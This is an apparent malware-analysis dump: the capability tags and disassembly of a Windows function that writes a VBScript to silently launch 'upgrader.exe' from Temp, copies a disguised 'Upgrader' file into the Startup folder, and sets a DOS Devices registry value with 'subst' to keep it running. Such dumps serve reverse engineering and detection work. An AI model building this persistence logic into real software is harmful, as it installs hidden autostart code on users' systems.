Function at 0x140009508
Capabilities:
Check if file exists
Copy file
Move file
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x2c8]
sub rsp, 0x3b0
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
lea rdx, str.C:WindowsTemp8d9d79e464df86fcf0214c4ff97189bf.iad
lea rcx, [rbp + 0x98]
call fcn.14000b700
nop
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rbp - 0x30]
call fcn.14000b700
nop
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x170]
call fcn.14000b850
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x170]
call fcn.14000ee6c
lea rcx, [rbp + 0x178]
call fcn.14000e140
xor esi, esi
test rax, rax
jne 0x1400095b9
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rcx, [rbp + rcx + 0x170]
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], rsi
cmove edx, eax
xor r8d, r8d
call fcn.140002b40
lea rdx, [0x14004b5d8]
lea rcx, [rsp + 0x30]
call fcn.14000b700
nop
lea rdx, str.ProsperousSherard_Tools_Upgrader.iad
lea rcx, [rsp + 0x58]
call fcn.14000b700
nop
lea rcx, str.APPDATA
call fcn.140024054
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000b700
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.14000f14c
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.14000f218
mov r12d, 8
cmp qword [rax + 0x18], r12
jb 0x14000962d
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, eax
cmp qword [rbp + 0x10], r12
jb 0x140009647
mov rcx, qword [rbp - 8]
call fcn.140021190
test ebx, ebx
je 0x140009754
cmp qword [rbp - 0x68], r12
jb 0x14000965e
mov rcx, qword [rbp - 0x80]
call fcn.140021190
mov ebx, 7
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x14000967e
mov rcx, qword [rbp - 0x58]
call fcn.140021190
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x14000969b
mov rcx, qword [rsp + 0x58]
call fcn.140021190
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x1400096bb
mov rcx, qword [rsp + 0x30]
call fcn.140021190
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000bb2c
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b59c
nop
cmp qword [rbp - 0x18], r12
jb 0x140009743
mov rcx, qword [rbp - 0x30]
call fcn.140021190
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
jmp 0x140009d05
lea r8, str.Startup_
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.14000f14c
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000f2d8
cmp qword [rax + 0x18], r12
jb 0x140009783
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edi, eax
cmp qword [rbp + 0x60], r12
jb 0x14000979d
mov rcx, qword [rbp + 0x48]
call fcn.140021190
mov ebx, 7
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x10], r12
jb 0x1400097bd
mov rcx, qword [rbp - 8]
call fcn.140021190
test edi, edi
je 0x1400098c5
cmp qword [rbp - 0x68], r12
jb 0x1400097d4
mov rcx, qword [rbp - 0x80]
call fcn.140021190
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x1400097ef
mov rcx, qword [rbp - 0x58]
call fcn.140021190
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x14000980c
mov rcx, qword [rsp + 0x58]
call fcn.140021190
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x14000982c
mov rcx, qword [rsp + 0x30]
call fcn.140021190
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000bb2c
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b59c
nop
cmp qword [rbp - 0x18], r12
jb 0x1400098b4
mov rcx, qword [rbp - 0x30]
call fcn.140021190
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
jmp 0x140009d05
lea rdx, [0x14004b6a8]
lea rcx, [rbp + 0x70]
call fcn.14000b700
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x70]
call fcn.140002610
lea r11, [rbp + 0x2d0]
mov qword [rsp + 0x20], r11
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea r11, [rbp + 0x70]
cmp qword [rbp + 0x88], r12
cmovae r11, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], r12
cmovae rdx, qword [rsp + 0x30]
mov eax, dword [rbp + 0x80]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r11
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x30]
lea rdx, str.subst
lea rcx, [rbp + 0x138]
call fcn.14000ed70
nop
lea r8, [0x14004b740]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14000ee3c
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000f2d8
nop
lea r8, [0x14004b73c]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14000ee3c
nop
cmp qword [rbp + 0x60], r12
jb 0x1400099d0
mov rcx, qword [rbp + 0x48]
call fcn.140021190
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x128], r12
jb 0x1400099f1
mov rcx, qword [rbp + 0x110]
call fcn.140021190
mov qword [rbp + 0x128], rbx
mov qword [rbp + 0x120], rsi
mov word [rbp + 0x110], si
cmp qword [rbp + 0x150], r12
jb 0x140009a1b
mov rcx, qword [rbp + 0x138]
call fcn.140021190
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x148], rsi
mov word [rbp + 0x138], si
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], r12
cmovae rcx, qword [rbp + 0xc0]
call fcn.1400241c4
lea r8, [0x14004b360]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.14000f14c
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f2d8
cmp qword [rax + 0x18], r12
jb 0x140009a7a
mov rax, qword [rax]
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], r12
cmovae rcx, qword [rbp + 0x98]
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp qword [rbp + 0x38], r12
jb 0x140009aab
mov rcx, qword [rbp + 0x20]
call fcn.140021190
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp + 0x10], r12
jb 0x140009ac6
mov rcx, qword [rbp - 8]
call fcn.140021190
lea r8, str.Startup_
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x280]
call fcn.14000f14c
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.14000f2d8
mov rdi, rax
lea r8, [0x14004b360]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xe8]
call fcn.14000f14c
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f2d8
cmp qword [rdi + 0x18], r12
jb 0x140009b26
mov rdi, qword [rdi]
cmp qword [rax + 0x18], r12
jb 0x140009b2f
mov rax, qword [rax]
mov r8d, 4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
cmp qword [rbp + 0x38], r12
jb 0x140009b50
mov rcx, qword [rbp + 0x20]
call fcn.140021190
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp + 0x100], r12
jb 0x140009b71
mov rcx, qword [rbp + 0xe8]
call fcn.140021190
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0xf8], rsi
mov word [rbp + 0xe8], si
cmp qword [rbp + 0x10], r12
jb 0x140009b95
mov rcx, qword [rbp - 8]
call fcn.140021190
mov qword [rbp + 0x10], rbx
mov qword [rbp + 8], rsi
mov word [rbp - 8], si
cmp qword [rbp + 0x298], r12
jb 0x140009bb6
mov rcx, qword [rbp + 0x280]
call fcn.140021190
call fcn.1400093cc
nop
cmp qword [rbp + 0xd8], r12
jb 0x140009bd1
mov rcx, qword [rbp + 0xc0]
call fcn.140021190
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xd0], rsi
mov word [rbp + 0xc0], si
cmp qword [rbp + 0x88], r12
jb 0x140009bf8
mov rcx, qword [rbp + 0x70]
call fcn.140021190
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x80], rsi
mov word [rbp + 0x70], si
cmp qword [rbp - 0x68], r12
jb 0x140009c19
mov rcx, qword [rbp - 0x80]
call fcn.140021190
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x140009c34
mov rcx, qword [rbp - 0x58]
call fcn.140021190
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x140009c51
mov rcx, qword [rsp + 0x58]
call fcn.140021190
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x140009c71
mov rcx, qword [rsp + 0x30]
call fcn.140021190
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000bb2c
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b59c
nop
cmp qword [rbp - 0x18], r12
jb 0x140009cf9
mov rcx, qword [rbp - 0x30]
call fcn.140021190
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp + 0xb0], r12
jb 0x140009d1a
mov rcx, qword [rbp + 0x98]
call fcn.140021190
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret